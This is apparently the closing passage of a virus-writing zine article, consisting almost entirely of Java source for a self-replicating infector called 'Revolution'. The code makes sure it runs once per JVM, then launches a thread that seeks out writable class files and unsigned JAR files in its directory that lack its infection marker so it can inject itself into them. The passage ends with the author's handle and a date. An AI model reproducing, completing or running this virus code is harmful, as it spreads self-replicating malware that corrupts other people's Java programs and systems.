// if multiple infected classes land in the class path, make sure, the virus is
// only executed
// once per JVM instance.
if (null != System.setProperty(MARKER, "")) {
return;
}
new Thread(() -> System.out.println("Sizing the means of execution!")).start();
// we can get the class and method name of the entrypoint dynamically
var entryClass = Revolution.class.getName();
var entryMethod = methodName();
new Thread(() -> infect(entryClass, entryMethod)).start();
}
private static Stream<Path> classCandidates(Path dir) throws IOException {
return Files.find(
dir,
1,
(path, attrs) -> path.toString().toLowerCase(Locale.ROOT).endsWith(".class")
&& attrs.isRegularFile()
&& Files.isReadable(path)
&& Files.isWritable(path));
}
private static Stream<Path> jarCandidates(Path dir) throws IOException {
return Files.find(
dir,
1,
(path, attrs) -> path.toString().toLowerCase(Locale.ROOT).endsWith(".jar")
&& attrs.isRegularFile()
&& Files.isReadable(path)
&& Files.isWritable(path)
&& canInfectJar(path));
}
/// Only infect Jar files that are not signed and do not already contain the
/// infection marker.
private static boolean canInfectJar(final Path path) {
try (var jar = new JarFile(path.toFile())) {
var isSigned = jar.getManifest().getAttributes("Signature-Version") != null;
return !isSigned
&& jar.stream().parallel().noneMatch(entry -> entry.getName().contains(MARKER));
} catch (IOException _) {
return false;
}
}
/// Conditions for class files to be considered infection candidates:
/// * class file version is greater or equal to that of the virus
/// * is not a Java `record` (e.g. extends `java/lang/Record`)
/// * is not an `interface`
/// * does not contain [#MARKER] in its
/// [java.lang.classfile.constantpool.ConstantPool]
private static boolean canInfectClass(ClassModel target, Map<String, Integer> versions) {
return (!(versions.get(KEY_MAJOR) > target.majorVersion()
|| versions.get(KEY_MINOR) > target.minorVersion()))
// skip record classes
&& !target
.superclass()
.map(mm -> mm.asInternalName().equals("java/lang/Record"))
.orElse(false)
// skip interfaces
&& !target.flags().flags().contains(AccessFlag.INTERFACE)
// skip classes that contain the infection marker
&& StreamSupport.stream(target.constantPool().spliterator(), true)
.noneMatch(e -> e instanceof StringEntry se && se.stringValue().equals(MARKER));
}
public static void main(String[] args) {
entry();
}
}
------------------------------------------------------------------------------
r3s1stanc3 - r3s1stanc3@riseup.net
2026-07
--[
PREV |
HOME |
NEXT ]--